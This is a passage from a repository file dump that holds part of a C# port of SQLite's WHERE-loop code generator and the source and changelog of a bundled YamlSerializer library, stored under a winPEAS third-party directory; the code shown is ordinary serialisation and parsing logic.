&sqlite3_query_plan[nQPlan], \"{}\", 2 );\n            nQPlan += 2;\n          }\n          else\n          {\n            sqlite3_query_plan.Append( z ); //memcpy( &sqlite3_query_plan[nQPlan], z, n );\n            nQPlan += n;\n          }\n          sqlite3_query_plan.Append( \" \" ); nQPlan++; //sqlite3_query_plan[nQPlan++] = ' ';\n        }\n        testcase( pLevel.plan.wsFlags & WHERE_ROWID_EQ );\n        testcase( pLevel.plan.wsFlags & WHERE_ROWID_RANGE );\n        if ( ( pLevel.plan.wsFlags & ( WHERE_ROWID_EQ | WHERE_ROWID_RANGE ) ) != 0 )\n        {\n          sqlite3_query_plan.Append( \"* \" ); //memcpy(&sqlite3_query_plan[nQPlan], \"* \", 2);\n          nQPlan += 2;\n        }\n        else if ( ( pLevel.plan.wsFlags & WHERE_INDEXED ) != 0 )\n        {\n          n = sqlite3Strlen30( pLevel.plan.u.pIdx.zName );\n          if ( true ) //n+nQPlan < sizeof(sqlite3_query_plan)-2 )//if( n+nQPlan < sizeof(sqlite3_query_plan)-2 )\n          {\n            sqlite3_query_plan.Append( pLevel.plan.u.pIdx.zName ); //memcpy(&sqlite3_query_plan[nQPlan], pLevel.plan.u.pIdx.zName, n);\n            nQPlan += n;\n            sqlite3_query_plan.Append( \" \" ); //sqlite3_query_plan[nQPlan++] = ' ';\n          }\n        }\n        else\n        {\n          sqlite3_query_plan.Append( \"{} \" ); //memcpy( &sqlite3_query_plan[nQPlan], \"{} \", 3 );\n          nQPlan += 3;\n        }\n      }\n      //while( nQPlan>0 && sqlite3_query_plan[nQPlan-1]==' ' ){\n      //  sqlite3_query_plan[--nQPlan] = 0;\n      //}\n      //sqlite3_query_plan[nQPlan] = 0;\n      sqlite3_query_plan.Trim();\n      nQPlan = 0;\n#endif //* SQLITE_TEST // Testing and debugging use only */\n\n      /* Record the continuation address in the WhereInfo structure.  Then\n** clean up and return.\n*/\n      return pWInfo;\n\n      /* Jump here if malloc fails */\nwhereBeginError:\n      whereInfoFree( db, pWInfo );\n      return null;\n    }\n\n    /*\n    ** Generate the end of the WHERE loop.  See comments on\n    ** sqlite3WhereBegin() for additional information.\n    */\n    static void sqlite3WhereEnd( WhereInfo pWInfo )\n    {\n      Parse pParse = pWInfo.pParse;\n      Vdbe v = pParse.pVdbe;\n      int i;\n      WhereLevel pLevel;\n      SrcList pTabList = pWInfo.pTabList;\n      sqlite3 db = pParse.db;\n\n      /* Generate loop termination code.\n      */\n      sqlite3ExprCacheClear( pParse );\n      for ( i = pTabList.nSrc - 1 ; i >= 0 ; i-- )\n      {\n        pLevel = pWInfo.a[i];\n        sqlite3VdbeResolveLabel( v, pLevel.addrCont );\n        if ( pLevel.op != OP_Noop )\n        {\n          sqlite3VdbeAddOp2( v, pLevel.op, pLevel.p1, pLevel.p2 );\n          sqlite3VdbeChangeP5( v, pLevel.p5 );\n        }\n        if ( ( pLevel.plan.wsFlags & WHERE_IN_ABLE ) != 0 && pLevel.u._in.nIn > 0 )\n        {\n          InLoop pIn;\n          int j;\n          sqlite3VdbeResolveLabel( v, pLevel.addrNxt );\n          for ( j = pLevel.u._in.nIn ; j > 0 ; j-- )//, pIn--)\n          {\n            pIn = pLevel.u._in.aInLoop[j - 1];\n            sqlite3VdbeJumpHere( v, pIn.addrInTop + 1 );\n            sqlite3VdbeAddOp2( v, OP_Next, pIn.iCur, pIn.addrInTop );\n            sqlite3VdbeJumpHere( v, pIn.addrInTop - 1 );\n          }\n          //sqlite3DbFree( db, pLevel.u._in.aInLoop );\n        }\n        sqlite3VdbeResolveLabel( v, pLevel.addrBrk );\n        if ( pLevel.iLeftJoin != 0 )\n        {\n          int addr;\n          addr = sqlite3VdbeAddOp1( v, OP_IfPos, pLevel.iLeftJoin );\n          sqlite3VdbeAddOp1( v, OP_NullRow, pTabList.a[i].iCursor );\n          if ( pLevel.iIdxCur >= 0 )\n          {\n            sqlite3VdbeAddOp1( v, OP_NullRow, pLevel.iIdxCur );\n          }\n          if ( pLevel.op == OP_Return )\n          {\n            sqlite3VdbeAddOp2( v, OP_Gosub, pLevel.p1, pLevel.addrFirst );\n          }\n          else\n          {\n            sqlite3VdbeAddOp2( v, OP_Goto, 0, pLevel.addrFirst );\n          }\n          sqlite3VdbeJumpHere( v, addr );\n        }\n      }\n\n      /* The \"break\" point is here, just past the end of the outer loop.\n      ** Set it.\n      */\n      sqlite3VdbeResolveLabel( v, pWInfo.iBreak );\n\n      /* Close all of the cursors that were opened by sqlite3WhereBegin.\n      */\n      for ( i = 0 ; i < pTabList.nSrc ; i++ )//, pLevel++)\n      {\n        pLevel = pWInfo.a[i];\n        SrcList_item pTabItem = pTabList.a[pLevel.iFrom];\n        Table pTab = pTabItem.pTab;\n        Debug.Assert( pTab != null );\n        if ( ( pTab.tabFlags & TF_Ephemeral ) != 0 || pTab.pSelect != null ) continue;\n        if ( ( pWInfo.wctrlFlags & WHERE_OMIT_CLOSE ) == 0 )\n        {\n          if ( 0 == pWInfo.okOnePass && ( pLevel.plan.wsFlags & WHERE_IDX_ONLY ) == 0 )\n          {\n            sqlite3VdbeAddOp1( v, OP_Close, pTabItem.iCursor );\n          }\n          if ( ( pLevel.plan.wsFlags & WHERE_INDEXED ) != 0 )\n          {\n            sqlite3VdbeAddOp1( v, OP_Close, pLevel.iIdxCur );\n          }\n        }\n\n        /* If this scan uses an index, make code substitutions to read data\n        ** from the index in preference to the table. Sometimes, this means\n        ** the table need never be read from. This is a performance boost,\n        ** as the vdbe level waits until the table is read before actually\n        ** seeking the table cursor to the record corresponding to the current\n        ** position in the index.\n        **\n        ** Calls to the code generator in between sqlite3WhereBegin and\n        ** sqlite3WhereEnd will have created code that references the table\n        ** directly.  This loop scans all that code looking for opcodes\n        ** that reference the table and converts them into opcodes that\n        ** reference the index.\n        */\n        if ( ( pLevel.plan.wsFlags & WHERE_INDEXED ) != 0 )///* && 0 == db.mallocFailed */ )\n        {\n          int k, j, last;\n          VdbeOp pOp;\n          Index pIdx = pLevel.plan.u.pIdx;\n          int useIndexOnly = ( pLevel.plan.wsFlags & WHERE_IDX_ONLY ) != 0 ? 1 : 0;\n\n          Debug.Assert( pIdx != null );\n          //pOp = sqlite3VdbeGetOp( v, pWInfo.iTop );\n          last = sqlite3VdbeCurrentAddr( v );\n          for ( k = pWInfo.iTop ; k < last ; k++ )//, pOp++ )\n          {\n            pOp = sqlite3VdbeGetOp( v, k );\n            if ( pOp.p1 != pLevel.iTabCur ) continue;\n            if ( pOp.opcode == OP_Column )\n            {\n              for ( j = 0 ; j < pIdx.nColumn ; j++ )\n              {\n                if ( pOp.p2 == pIdx.aiColumn[j] )\n                {\n                  pOp.p2 = j;\n                  pOp.p1 = pLevel.iIdxCur;\n                  break;\n                }\n              }\n              Debug.Assert( 0 == useIndexOnly || j < pIdx.nColumn );\n            }\n            else if ( pOp.opcode == OP_Rowid )\n            {\n              pOp.p1 = pLevel.iIdxCur;\n              pOp.opcode = OP_IdxRowid;\n            }\n            else if ( pOp.opcode == OP_NullRow && useIndexOnly != 0 )\n            {\n              pOp.opcode = OP_Noop;\n            }\n          }\n        }\n      }\n\n      /* Final cleanup\n      */\n      whereInfoFree( db, pWInfo );\n      return;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/ChangeLog.txt",
    "content": "﻿--- 2009-10-04 Osamu TAKEUCHI <osamu@big.jp>\nAlpha release of YamlSerializer as 0.9.0.2\n\n* All \"_\"s in integer and floating point values are neglected\n  to accommodate the !!int and !!float encoding.\n* YamlConfig.DontUseVerbatimTag is added but the default value is set false.\n  Note that !<!System.Int32[,]> is much human friendly than !System.Int32%5B%2C%5D.\n* Equality of YamlNode with an unknown tag is evaluated by identity,\n  while that of !!map and !!seq node is still evaluated by YAML's standard.\n  Note that equality of !!map and !!seq are different from that of object[]\n  and Dictionary<object, object>.\n* YamlConfig.OmitTagForRootNode was added. Fixed issue #2850.\n* Serialize Dictionary<object,object> to !!map. Fixed #2891.\n* Modified [126-130] ns-plain-???, [147] c-ns-flow-map-separate-value(n,c)\n  to accommodate revision 2009-10-01\n* Omit !< > if Tag contains only ns-tag-char, Fixed issue #2813\n\n--- 2009-09-23 Osamu TAKEUCHI <osamu@big.jp>\nAlpha release of YamlSerializer as 0.9.0.1\n\n* Removed TODO's for reporting bugs in YAML spec that are done.\n* Fixed assembly copyright.\n* !!merge is supported. Fixed issue#2605.\n* Read-only class-type member with no child members are omitted when \n  serializing. Fixed issue#2599.\n* Culture for TypeConverter is set to be CultureInfo.InvariantCulture. \n  Fixed issue #2629.\n* To fix Issue#2631\n  * Field names and property names are always presented as simple texts.\n  * When deserializing, we can not avoid the parser parses some spacial\n    names to !!bool and !!null. Such non-text nodes are converted to\n    texts at construction stage.\n* To fix issue#2663\n  * Hash code stored in a mapping node is now updated when the a key node's\n    content is changed.\n  * Hash code and equality became independent on the order of keys in a \n    mapping node.\n  * A mapping node checks for duplicated keys every time the node content \n    is changed.\n  * Test results are changed because some of them are dependent on the hash \n    key order.\n* The current equality evaluation is too strict, probably needs some adjustment.\n* NativeObject property was added to YamlScalar.\n* YamlScalar's equality is evaluated by comparing NativeObject.\n\n--- 2009-09-11 Osamu TAKEUCHI <osamu@big.jp>\nFirst release of YamlSerializer as 0.9.0.0\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/EasyTypeConverter.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.ComponentModel;\nusing System.Globalization;\n\nnamespace System.Yaml.Serialization\n{\n    /// <summary>\n    /// Converts various types to / from string.<br/>\n    /// I don't remember why this class was needed....\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// object obj = GetObjectToConvert();\n    /// \n    /// // Check if the type has [TypeConverter] attribute.\n    /// if( EasyTypeConverter.IsTypeConverterSpecified(type) ) {\n    /// \n    ///   // Convert the object to string.\n    ///   string s = EasyTypeConverter.ConvertToString(obj);\n    /// \n    ///   // Convert the string to an object of the spific type.\n    ///   object restored = EasyTypeConverter.ConvertFromString(s, type);\n    ///   \n    ///   Assert.AreEqual(obj, restored);\n    /// \n    /// }\n    /// </code>\n    /// </example>\n    internal class EasyTypeConverter\n    {\n        internal CultureInfo Culture;\n\n        public EasyTypeConverter()\n        {\n            Culture = System.Globalization.CultureInfo.InvariantCulture;\n        }\n\n        private static Dictionary<Type, TypeConverter> TypeConverters = new Dictionary<Type, TypeConverter>();\n        private static Dictionary<Type, bool> TypeConverterSpecified = new Dictionary<Type, bool>();\n\n        public static bool IsTypeConverterSpecified(Type type)\n        {\n            if ( !TypeConverterSpecified.ContainsKey(type) )\n                RegisterTypeConverterFor(type);\n            return TypeConverterSpecified[type];\n        }\n\n        private static TypeConverter FindConverter(Type type)\n        {\n            if ( !TypeConverters.ContainsKey(type) ) {\n                return RegisterTypeConverterFor(type);\n            } else {\n                return TypeConverters[type];\n            }\n        }\n\n        private static TypeConverter RegisterTypeConverterFor(Type type)\n        {\n            var converter_attr = type.GetAttribute<TypeConverterAttribute>();\n            if ( converter_attr != null ) {\n                // What is the difference between these two conditions?\n                TypeConverterSpecified[type] = true;\n                var converterType = TypeUtils.GetType(converter_attr.ConverterTypeName);\n                return TypeConverters[type] = Activator.CreateInstance(converterType) as TypeConverter;\n            } else {\n                // What is the difference between these two conditions?\n                TypeConverterSpecified[type] = false;\n                return TypeConverters[type] = TypeDescriptor.GetConverter(type);\n            }\n        }\n\n        public string ConvertToString(object obj)\n        {\n            if ( obj == null )\n                return \"null\";\n            var converter = FindConverter(obj.GetType());\n            if ( converter != null ) {\n                return converter.ConvertToString(null, Culture, obj);\n            } else {\n                return obj.ToString();\n            }\n        }\n\n        public object ConvertFromString(string s, Type type)\n        {\n            return FindConverter(type).ConvertFromString(null, Culture, s);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/ObjectExtensions.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Linq;\nusing System.Reflection;\n\nnamespace YamlSerializerNamespace\n{\n    public static class ObjectExtensions\n    {\n        public static T ToObject<T>(this IDictionary<string, object> source)\n            where T : class, new()\n        {\n            var someObject = new T();\n            var someObjectType = someObject.GetType();\n\n            foreach (var item in source)\n            {\n                someObjectType\n                         .GetProperty((item.Key))\n                         .SetValue(someObject, item.Value, null);\n            }\n\n            return someObject;\n        }\n\n        public static string PascalCase(this string word)\n        {\n            return string.Join(\"\", word.Split('_')\n                         .Select(w => w.Trim())\n                         .Where(w => w.Length > 0)\n                         .Select(w => w.Substring(0, 1).ToUpper() + w.Substring(1).ToLower()));\n        }\n\n        public static IDictionary<string, object> AsDictionary(this object source, BindingFlags bindingAttr = BindingFlags.DeclaredOnly | BindingFlags.Public | BindingFlags.Instance)\n        {\n            return source.GetType().GetProperties(bindingAttr).ToDictionary\n            (\n                propInfo => propInfo.Name,\n                propInfo => propInfo.GetValue(source, null)\n            );\n\n        }\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/ObjectMemberAccessor.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.ComponentModel;\n\nnamespace System.Yaml.Serialization\n{\n    /// <summary>\n    /// \n    /// object に代入されたクラスや構造体のメンバーに、リフレクションを\n    /// 解して簡単にアクセスできるようにしたクラス\n    /// \n    /// アクセス方法をキャッシュするので、繰り返し使用する場合に高速化が\n    /// 期待できる\n    /// </summary>\n    internal class ObjectMemberAccessor\n    {\n        private readonly static object[] EmptyObjectArray = new object[0];\n\n        /// <summary>\n        /// Caches ObjectMemberAccessor instances for reuse.\n        /// </summary>\n        static Dictionary<Type, ObjectMemberAccessor> MemberAccessors = new Dictionary<Type, ObjectMemberAccessor>();\n        /// <summary>\n        /// \n        /// 指定した型へのアクセス方法を表すインスタンスを返す\n        /// キャッシュに存在すればそれを返す\n        /// キャッシュに存在しなければ新しく作って返す\n        /// 作った物はキャッシュされる\n        /// </summary>\n        /// <param name=\"type\">クラスまたは構造体を表す型情報</param>\n        /// <returns></returns>\n        public static ObjectMemberAccessor FindFor(Type type)\n        {\n            if ( !MemberAccessors.ContainsKey(type) )\n                MemberAccessors[type] = new ObjectMemberAccessor(type);\n            return MemberAccessors[type];\n        }\n\n        private ObjectMemberAccessor(Type type)\n        {\n            /*\n            if ( !TypeUtils.IsPublic(type) )\n                throw new ArgumentException(\n                    \"Can not serialize non-public type {0}.\".DoFormat(type.FullName));\n            */ \n\n            // public properties\n            foreach ( var p in type.GetProperties(\n                    System.Reflection.BindingFlags.Instance | \n                    System.Reflection.BindingFlags.Public | \n                    System.Reflection.BindingFlags.GetProperty) ) {\n                var prop = p; // create closures with this local variable\n                // not readable or parameters required to access the property\n                if ( !prop.CanRead || prop.GetGetMethod(false) == null || prop.GetIndexParameters().Count() != 0 )\n                    continue;\n                Func<object, object> get = obj => prop.GetValue(obj, EmptyObjectArray);\n                Action<object, object> set = null;\n                if ( prop.CanWrite && prop.GetSetMethod(false) != null )\n                    set = (obj, value) => prop.SetValue(obj, value, EmptyObjectArray);\n                RegisterMember(type, prop, prop.PropertyType, get, set);\n            }\n\n            // public fields\n            foreach ( var f in type.GetFields(System.Reflection.BindingFlags.Instance |\n                    System.Reflection.BindingFlags.Public |\n                    System.Reflection.BindingFlags.GetField) ) {\n                var field = f;\n                if ( !field.IsPublic )\n                    continue;\n                Func<object, object> get = obj => field.GetValue(obj);\n                Action<object, object> set = (obj, value) => field.SetValue(obj, value);\n                RegisterMember(type, field, field.FieldType, get, set);\n            }\n\n            Type itype;\n\n            // implements IDictionary\n            if ( type.GetInterface(\"System.Collections.IDictionary\") != null ) {\n                IsDictionary = true;\n                IsReadOnly = obj => ( (System.Collections.IDictionary)obj ).IsReadOnly;\n                // extract Key, Value types from IDictionary<??, ??>\n                itype = type.GetInterface(\"System.Collections.Generic.IDictionary`2\");\n                if ( itype != null ) {\n                    KeyType = itype.GetGenericArguments()[0];\n                    ValueType = itype.GetGenericArguments()[1];\n                }\n            } else\n                // implements ICollection<T> \n                if ( ( itype = type.GetInterface(\"System.Collections.Generic.ICollection`1\") ) != null ) {\n                    ValueType = itype.GetGenericArguments()[0];\n                    var add = itype.GetMethod(\"Add\", new Type[] { ValueType });\n                    CollectionAdd = (obj, value) => add.Invoke(obj, new object[] { value });\n                    var clear = itype.GetMethod(\"Clear\", new Type[0]);\n                    CollectionClear = obj => clear.Invoke(obj, new object[0]);\n                    var isReadOnly = itype.GetProperty(\"IsReadOnly\", new Type[0]).GetGetMethod();\n                    IsReadOnly = obj => (bool)isReadOnly.Invoke(obj, new object[0]);\n                } else\n                    // implements IList \n                    if ( ( itype = type.GetInterface(\"System.Collections.IList\") ) != null ) {\n                        var add = itype.GetMethod(\"Add\", new Type[] { typeof(object) });\n                        CollectionAdd = (obj, value) => add.Invoke(obj, new object[] { value });\n                        var clear = itype.GetMethod(\"Clear\", new Type[0]);\n                        CollectionClear = obj => clear.Invoke(obj, new object[0]);\n                        /* IList<T> implements ICollection<T>\n                        // Extract Value Type from IList<T>\n                        itype = type.GetInterface(\"System.Collections.Generic.IList`1\");\n                        if ( itype != null )\n                            ValueType = itype.GetGenericArguments()[0];     \n                         */\n                        IsReadOnly = obj => ((System.Collections.IList)obj).IsReadOnly;\n                    }\n        }\n\n        private void RegisterMember(Type type, System.Reflection.MemberInfo m, Type mType, Func<object, object> get, Action<object, object> set)\n        {\n            // struct that holds access method for property/field\n            MemberInfo accessor = new MemberInfo();\n\n            accessor.Type = mType;\n            accessor.Get = get;\n            accessor.Set = set;\n\n            if(set!=null){ // writeable ?\n                accessor.SerializeMethod = YamlSerializeMethod.Assign;\n            } else {\n                accessor.SerializeMethod = YamlSerializeMethod.Never;\n                if ( mType.IsClass )\n                    accessor.SerializeMethod = YamlSerializeMethod.Content;\n            }\n            var attr1 = m.GetAttribute<YamlSerializeAttribute>();\n            if ( attr1 != null ) { // specified\n                if ( set == null ) { // read only member\n                    if ( attr1.SerializeMethod == YamlSerializeMethod.Assign ||\n                         ( mType.IsValueType && accessor.SerializeMethod == YamlSerializeMethod.Content ) )\n                        throw new ArgumentException(\"{0} {1} is not writeable by {2}.\"\n                            .DoFormat(mType.FullName, m.Name, attr1.SerializeMethod.ToString()));\n                }\n                accessor.SerializeMethod = attr1.SerializeMethod;\n            }\n            if ( accessor.SerializeMethod == YamlSerializeMethod.Never )\n                return; // no need to register\n            if ( accessor.SerializeMethod == YamlSerializeMethod.Binary ) {\n                if ( !mType.IsArray )\n                    throw new InvalidOperationException(\"{0} {1} of {2} is not an array. Can not be serialized as binary.\"\n                        .DoFormat(mType.FullName, m.Name, type.FullName));\n                if ( !TypeUtils.IsPureValueType(mType.GetElementType()) )\n                    throw new InvalidOperationException(\n                        \"{0} is not a pure ValueType. {1} {2} of {3} can not serialize as binary.\"\n                        .DoFormat(mType.GetElementType(), mType.FullName, m.Name, type.FullName));\n            }\n\n            // ShouldSerialize\n            //      YamlSerializeAttribute(Never) => false\n            //      ShouldSerializeSomeProperty => call it\n            //      DefaultValueAttribute(default) => compare to it\n            //      otherwise => true\n            var shouldSerialize = type.GetMethod(\"ShouldSerialize\" + m.Name,\n                System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,\n                null, Type.EmptyTypes, new System.Reflection.ParameterModifier[0]);\n            if ( shouldSerialize != null && shouldSerialize.ReturnType == typeof(bool) && accessor.ShouldSeriealize == null )\n                accessor.ShouldSeriealize = obj => (bool)shouldSerialize.Invoke(obj, EmptyObjectArray);\n            var attr2 = m.GetAttribute<DefaultValueAttribute>();\n            if ( attr2 != null && accessor.ShouldSeriealize == null ) {\n                var defaultValue = attr2.Value;\n                if ( TypeUtils.IsNumeric(defaultValue) && defaultValue.GetType() != mType )\n                    defaultValue = TypeUtils.CastToNumericType(defaultValue, mType);\n                accessor.ShouldSeriealize = obj => !TypeUtils.AreEqual(defaultValue, accessor.Get(obj));\n            }\n            if ( accessor.ShouldSeriealize == null )\n                accessor.ShouldSeriealize = obj => true;\n\n            Accessors.Add(m.Name, accessor);\n        }\n\n        public bool IsDictionary = false;\n        public Action<object, object> CollectionAdd = null;\n        public Action<object> CollectionClear = null;\n        public Type KeyType = null;\n        public Type ValueType = null;\n        public Func<object,bool> IsReadOnly;\n\n        public struct MemberInfo\n        {\n            public YamlSerializeMethod SerializeMethod;\n            public Func<object, object> Get;\n            public Action<object, object> Set;\n            public Func<object, bool> ShouldSeriealize;\n            public Type Type;\n        }\n        Dictionary<string, MemberInfo> Accessors = new Dictionary<string, MemberInfo>();\n        public MemberInfo this[string name]\n        {\n            get { return Accessors[name]; }\n        }\n        public bool ContainsKey(string name)\n        {\n            return Accessors.ContainsKey(name);\n        }\n\n        /// <summary>\n        /// メンバへの読み書きを行うことができる\n        /// </summary>\n        /// <param name=\"obj\">オブジェクト</param>\n        /// <param name=\"name\">メンバの名前</param>\n        /// <returns></returns>\n        public object this[object obj, string name]\n        {\n            get { return Accessors[name].Get(obj); }\n            set { Accessors[name].Set(obj, value); }\n        }\n\n        /// <summary>\n        /// メンバ名と Accessor のペアを巡回する\n        /// </summary>\n        /// <returns></returns>\n        public Dictionary<string, MemberInfo>.Enumerator GetEnumerator()\n        {\n            return Accessors.GetEnumerator();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/Parser.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Text.RegularExpressions;\n\nnamespace System.Yaml\n{                               \n    /// <summary>\n    /// <para>When <see cref=\"Parser&lt;State&gt;\"/> reports syntax error by exception, this class is thrown.</para>\n    /// \n    /// <para>Sytax errors can also be reported by simply returing false with giving some warnings.</para>\n    /// </summary>\n    internal class ParseErrorException: Exception\n    {\n        /// <summary>\n        /// Initialize an instance of <see cref=\"ParseErrorException\"/>\n        /// </summary>\n        /// <param name=\"message\">Error message.</param>\n        public ParseErrorException(string message) : base(message) { }\n    }\n\n    /// <summary>\n    /// <para>Base class to implement a parser class.</para>\n    /// \n    /// <para>It allows not very efficient but easy implementation of a text parser along \n    /// with a parameterized BNF productions.</para>\n    /// </summary>\n    /// <typeparam name=\"State\">Parser specific state structure.</typeparam>\n    internal abstract class Parser<State>\n        where State: struct\n    {\n        /// <summary>\n        /// Parse the <paramref name=\"text\"/> using the <paramref name=\"start_rule\"/> \n        /// as the starting rule.\n        /// </summary>\n        /// <param name=\"start_rule\">Starting rule.</param>\n        /// <param name=\"text\">Text to be parsed.</param>\n        /// <returns></returns>\n        protected bool Parse(Func<bool> start_rule, string text)\n        {\n            this.text = text;\n            InitializeParser();\n            return start_rule();\n        }\n        void InitializeParser()\n        {\n            InitializeLines();\n            p = 0;\n            stringValue.Length = 0;\n            state = new State();\n        }\n\n        #region Fields and Properties\n        /// <summary>\n        /// <para>Gets / sets source text to be parsed.</para>\n        /// <para>While parsing, this variable will not be changed.</para>\n        /// <para>The current position to be read by parser is represented by the field <see cref=\"p\"/>.</para>\n        /// <para>Namely, the next character to be read is <c>text[p]</c>.</para>\n        /// </summary>\n        protected string text;\n        /// <summary>\n        /// <para>The current reading position.</para>\n        /// \n        /// <para>The next character to be read by the parser is <c>text[p]</c>.</para>\n        /// \n        /// <para>Increase <see cref=\"p\"/> to reduce some part of source text <see cref=\"text\"/>.</para>\n        /// \n        /// <para>The current position <see cref=\"p\"/> is automatically reverted at rewinding.</para>\n        /// </summary>\n        /// <example>\n        /// Example to show how to reduce BNF reduction rule of ( \"t\" \"e\" \"x\" \"t\" ).\n        /// <code>\n        ///   return RewindUnless(()=>\n        ///       text[p++] == 't' &amp;&amp;\n        ///       text[p++] == 'e' &amp;&amp;\n        ///       text[p++] == 'x' &amp;&amp;\n        ///       text[p++] == 't'\n        ///   );\n        /// </code>\n        /// </example>\n        protected int p;\n        /// <summary>\n        /// <para>Use this variable to build some string data from source text.</para>\n        /// \n        /// <para>It will be automatically reverted at rewinding.</para>\n        /// </summary>\n        protected StringBuilder stringValue = new StringBuilder();\n        /// <summary>\n        /// <para>Individual-parser-specific state object.</para>\n        /// \n        /// <para>It will be automatically reverted at rewinding.</para>\n        /// \n        /// <para>If some action, in addition to simply restore the value of the state object,\n        /// is needed to recover the previous state, override <see cref=\"Rewind\"/>\n        /// method.</para>\n        /// </summary>\n        protected State state;\n        /// <summary>\n        /// Get current position represented by raw and column.\n        /// </summary>\n        public Position CurrentPosition\n        {   \n            get\n            {\n                Position pos = new Position();\n                pos.Raw = Lines.BinarySearch(p);\n                if ( pos.Raw < 0 ) {\n                    pos.Raw = ~pos.Raw;\n                    pos.Column = p - Lines[pos.Raw - 1] + 1;\n                } else {\n                    pos.Raw++; // 1 base\n                    pos.Column = 1;\n                }\n                return pos;\n            }\n        }\n        /// <summary>\n        /// Initialize <see cref=\"Lines\"/>, which represents line number to \n        /// start position of each line list.\n        /// </summary>\n        private void InitializeLines()\n        {\n            Lines = new List<int>();\n            Lines.Add(0);\n            for ( var p = 0; p < text.Length; p++ ) {\n                if ( text[p] == '\\r' ) {\n                    if ( p + 1 < text.Length - 1 && text[p + 1] == '\\n' )\n                        p++;\n                    Lines.Add(p + 1);\n                } else\n                if ( text[p] == '\\n' )\n                    Lines.Add(p + 1);\n            }\n        }\n        /// <summary>\n        /// Line number to start position list.\n        /// </summary>\n        List<int> Lines = new List<int>();\n        /// <summary>\n        /// Represents a position in a multiline text.\n        /// </summary>\n        public struct Position { \n            /// <summary>\n            /// Raw in a text.\n            /// </summary>\n            public int Raw; \n            /// <summary>\n            /// Column in a text.\n            /// </summary>\n            public int Column; \n        }\n        #endregion\n\n        #region Error / Warning\n        /// <summary>\n        /// Reporting syntax error by throwing <see cref=\"ParseErrorException\"/>.\n        /// </summary>\n        /// <param name=\"message\"><see cref=\"string.Format(string,object[])\"/> template for the error message.</param>\n        /// <param name=\"args\"><see cref=\"string.Format(string,object[])\"/> parameters if required</param>\n        /// <returns>Because it throw exception, nothing will be returned in reality.</returns>\n        public bool Error(string message, params object[] args)\n        {\n            throw new ParseErrorException(\n                string.Format(\"Syntax error at line {0} column {1}\\r\\n\", CurrentPosition.Raw, CurrentPosition.Column) +\n                    string.Format(message, args));\n        }\n        /// <summary>\n        /// <para>Give warning if <paramref name=\"condition\"/> is true.</para>\n        /// \n        /// <para>By default, the warning will not be shown / stored to anywhere.\n        /// To show or log the warning, override <see cref=\"StoreWarning\"/>.</para>\n        /// </summary>\n        /// <example>\n        /// <code>\n        ///   return \n        ///       SomeObsoleteReductionRule() &amp;&amp;\n        ///       WarningIf(\n        ///           context != Context.IndeedObsolete,\n        ///           \"Obsolete\");\n        /// </code>\n        /// </example>\n        /// <param name=\"condition\">If true, warning is given; otherwize do nothing.</param>\n        /// <param name=\"message\"><see cref=\"string.Format(string,object[])\"/> template for the warning message.</param>\n        /// <param name=\"args\"><see cref=\"string.Format(string,object[])\"/> parameters if required</param>\n        /// <returns>Always true.</returns>\n        protected bool WarningIf(bool condition, string message, params object[] args)\n        {\n            if ( condition )\n                Warning(message, args);\n            return true;\n        }\n        /// <summary>\n        /// <para>Give warning if <paramref name=\"condition\"/> is false.</para>\n        /// \n        /// <para>By default, the warning will not be shown / stored to anywhere.\n        /// To show or log the warning, override <see cref=\"StoreWarning\"/>.</para>\n        /// </summary>\n        /// <example>\n        /// <code>\n        ///   return \n        ///       SomeObsoleteReductionRule() &amp;&amp;\n        ///       WarningUnless(\n        ///           context != Context.NotObsolete,\n        ///           \"Obsolete\");\n        /// </code>\n        /// </example>\n        /// <param name=\"condition\">If false, warning is given; otherwize do nothing.</param>\n        /// <param name=\"message\"><see cref=\"string.Format(string,object[])\"/> template for the warning message.</param>\n        /// <param name=\"args\"><see cref=\"string.Format(string,object[])\"/> parameters if required</param>\n        /// <returns>Always true.</returns>\n        protected bool WarningUnless(bool condition, string message, params object[] args)\n        {\n            if ( !condition )\n                Warning(message, args);\n            return true;\n        }\n        /// <summary>\n        /// <para>Give warning.</para>\n        /// \n        /// <para>By default, the warning will not be shown / stored to anywhere.\n        /// To show or log the warning, override <see cref=\"StoreWarning\"/>.</para>\n        /// </summary>\n        /// <example>\n        /// <code>\n        ///   return \n        ///       SomeObsoleteReductionRule() &amp;&amp;\n        ///       Warning(\"Obsolete\");\n        /// </code>\n        /// </example>\n        /// <param name=\"message\"><see cref=\"string.Format(string,object[])\"/> template for the warning message.</param>\n        /// <param name=\"args\"><see cref=\"string.Format(string,object[])\"/> parameters if required</param>\n        /// <returns>Always true.</returns>\n        protected bool Warning(string message, params object[] args)\n        {\n            message = string.Format( \n                \"Warning: {0} at line {1} column {2}.\",\n                string.Format(message, args),\n                CurrentPosition.Raw,\n                CurrentPosition.Column\n            );\n            StoreWarning(message);\n            return true;\n        }\n        /// <summary>\n        /// <para>Invoked when warning was given while parsing.</para>\n        /// \n        /// <para>Override this method to display / store the warning.</para>\n        /// </summary>\n        /// <param name=\"message\">Warning message.</param>\n        protected virtual void StoreWarning(string message) { }\n        #endregion\n\n        #region EBNF operators\n        /// <summary>\n        /// <para>Represents EBNF operator of \"join\", i.e. serial appearence of several rules.</para>\n        /// </summary>\n        /// <remarks>\n        /// <para>This recoveres <see cref=\"p\"/>, <see cref=\"stringValue\"/>, <see cref=\"state\"/>\n        /// when <paramref name=\"condition\"/> does not return <code>true</code>.</para>\n        /// \n        /// <para>If any specific operation is needed for rewinding, in addition to simply\n        /// recover the value of <see cref=\"state\"/>, override <see cref=\"Rewind()\"/>.</para>\n        /// </remarks>\n        /// <param name=\"rule\">If false is returned, the parser status is 